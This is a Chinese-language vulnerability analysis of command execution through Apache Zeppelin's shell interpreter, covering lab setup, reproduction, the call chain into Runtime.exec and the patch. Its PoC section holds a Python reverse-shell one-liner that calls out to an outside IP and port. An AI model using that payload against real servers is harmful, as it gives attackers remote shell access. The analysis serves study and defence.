漏洞简介
Apache Zeppelin 是一个让交互式数据分析变得可行的基于网页的开源框架,Zeppelin提供了数据分析、数据可视化等功能。
攻击者可以使用 Shell解释器作为代码生成网关,系统org.apache.zeppelin.shell.ShellInterpreter类直接调用/sh来执行命令,没有进行过滤,导致RCE漏洞。影响范围 0.10.1 <= Apache Zeppelin < 0.11.1。
环境搭建
docker启动环境
docker run -d --name zeppelin0.9 -p 8888:8080 apache/zeppelin:0.10.1 ##使用docker启动环境
docker cp c9227a704e89:/opt/zeppelin/bin/zeppelin.sh . ##将docker容器中的zeppelin.sh文件拷贝到本地。
docker远程调试
编写本地zeppelin.sh文件,添加下下面一句话增加远程调试端口。
-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=11000
上面的代码添加到最后一行$JAVA_OPTS 后面就可以远程调试了。
编辑完成之后将本地的文件拷贝的docker容器中,由于需要重新开放端口,推荐将docker环境提交为新的镜像增加远程调试的开放端口,操作命令如下:
docker cp zeppelin.sh c9227a704e89:/opt/zeppelin/bin/zeppelin.sh ##将编辑完成的文件拷贝到docker容器
docker stop c9227a704e89 ##停止容器
docker commit c9227a704e89 apache/zeppelin:0.10.1_debug ##提交为新的Docker镜像
docker run -d -p 8888:8080 -p 9999:11000 --name zeppelin_debug apache/zeppelin:0.10.1_debug ##重新运行新的docker镜像。
建议在Github将zeppelin下载到本地使用IDEA打开,Github链接地址:https://github.com/apache/zeppelin/releases/tag/v0.10.1
漏洞复现
创建一个以SH为Interpreter 的NoteBook,名称可以随便填写,点击create完成创建。
输入要执行的命令,然后点击一下运行,可以看到界面已经命令执行的结果返回了。
1day poc
python 语言
1、创建python解释器的notebook
2、填写下面的POC,点击运行图标
print(os.system("id"))
反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.27.167.103",6666));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]); ##反弹shel
漏洞分析
zeppelinServer部分
首先看一下zeppelin的前后台交互模型,前端交互通过HTTP协议和Websocket协议,zeppelin采用单独的jvm来启动interpreter进程,该Interpreter进程与zeppelinServer进程之间采用Thrift协议通信,其中RemoteInterpreterProcess是Thrift-Client端,而相应的RemoteInterpreterServer是Thrift-Server端。每一个Interpreter都属于换一个InterpreterGroup,同一个InterpreterGroup的Interpreters可以相互引用,例如SparkSqlInterpreter 可以引用 SparkInterpreter 以获取 SparkContext,因为他们属于同一个InterpreterGroup。当前已经实现的Interpreter有spark解释器,python解释器,SparkSQL解释器,JDBC,Markdown和shell等。
界面点运行Run all paragraphs之后,调用org.apache.zeppelin.notebook#jobRun函数执行。
org.apache.zeppelin.notebook#jobRun函数通过484行中获取命令执行的结果,可以看到这里interpreter是RemoteInterpreter类,执行命令是ls /etc,所以这里会调用RemoteInterpreter#interpret函数。
主要看一下这里209行数据,通过client.interpret方法从远程获取命令执行的结果,这里client是RemoteInterpreterServer类,通过上面的了解RemoteInterpreterServer调用Thrift协议完成nterpreter进程与zeppelinServer通信。
RemoteInterpreterServer#interpret函数,调用send_interpret发送当前需要远程调用interpreter的类型和一些调用参数。
发送interpreter请求流量如下,通过流量也可以进一步验证调用远程的interpreter的类名称是org.apache.zeppelin.shell.ShellInterpreter,参数是ls /etc。
RemoteInterpreterServer#interpret函数并通过recv_interpret()接收远程的返回信息,流量如下可以看到命令执行的结果以及返回的状态信息。
期间Web的执行命令的流量是通过HTTP协议和Websocket传输的,在调用HTTP调用API之后会通过,会通过websocket的形式传输要执行的命令。
命令执行的结果也是Websocket的形式返回。
Interpreter部分
由于interpreter在JVM中独立运行的,所以在调试interpreter需要重新设置一个远程开放调试的端口。在bin/interpreter.sh文件中的JAVA_INTP_OPTS参数增加下面的一句话,
-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=6666
org.apache.zeppelin.shell.ShellInterpreter#InterpreterResult方法中执行命令并将执行命令的结果返回,可以看到这里的cmdline是["bash","-c","ls /etc"],在该函数的163行executor.execute(cmdLine),通过execute继续执行命令,这里的executor是org.apache.commons.exec.DefaultExecutor类。
继续跟进org.apache.commons.exec.DefaultExecutor#execute()方法,会调用本类的executeInternal方法继续执行命令。该函数会执行命令,并将命令的返回的结果写入到stream流。
继续跟进会执行org.apache.commons.exec.launcher.Java13CommandLauncher.exec方法,在这个函数中会直接调用Runtime.getRuntime().exec()执行命令,分析到这里可以发现,针对于sh的命令一路绿灯一直到执行完成。
调用栈如下:
exec:621, Runtime (java.lang)
exec:61, Java13CommandLauncher (org.apache.commons.exec.launcher)
launch:279, DefaultExecutor (org.apache.commons.exec)
executeInternal:336, DefaultExecutor (org.apache.commons.exec)
execute:166, DefaultExecutor (org.apache.commons.exec)
execute:153, DefaultExecutor (org.apache.commons.exec)
internalInterpret:163, ShellInterpreter (org.apache.zeppelin.shell)
interpret:55, AbstractInterpreter (org.apache.zeppelin.interpreter)
interpret:110, LazyOpenInterpreter (org.apache.zeppelin.interpreter)
jobRun:860, RemoteInterpreterServer$InterpretJob (org.apache.zeppelin.interpreter.remote)
jobRun:752, RemoteInterpreterServer$InterpretJob (org.apache.zeppelin.interpreter.remote)
run:172, Job (org.apache.zeppelin.scheduler)
runJob:132, AbstractScheduler (org.apache.zeppelin.scheduler)
lambda$runJobInScheduler$0:46, ParallelScheduler (org.apache.zeppelin.scheduler)
run:-1, 1841630602 (org.apache.zeppelin.scheduler.ParallelScheduler$$Lambda$16)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:748, Thread (java.lang)
补丁分析
https://github.com/apache/zeppelin/pull/4708/commits/30483de6130d797abb19ca9998580d5cf463279e
官方直接禁用Shell interpreter的使用,在官网下载一个最新的版本版本启动看看。
访问最新的版本就可以看到确实在创建的时候sh的选择项已经被移除。
总结
zeppelin通信时候采用三种协议HTTP+websocket+Thrift协议,通过本篇文章可以大体了一下Websocket和Thrift协议的大致样子。比较有意思的是zeppelin采用单独的jvm来启动interpreter进程调式时候需要单独interpreter设置开启一个远程可以调试的端口。Thrift协议中可以看到内部调用interpret的请求和响应。漏洞原因在于执行的命令时候直接调用底层的命令执行函数,官方针对于该漏洞的修复直接禁用相关的模块,这种修复方式也算是修复的一种方式,应该还会有更好的修复方式。
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)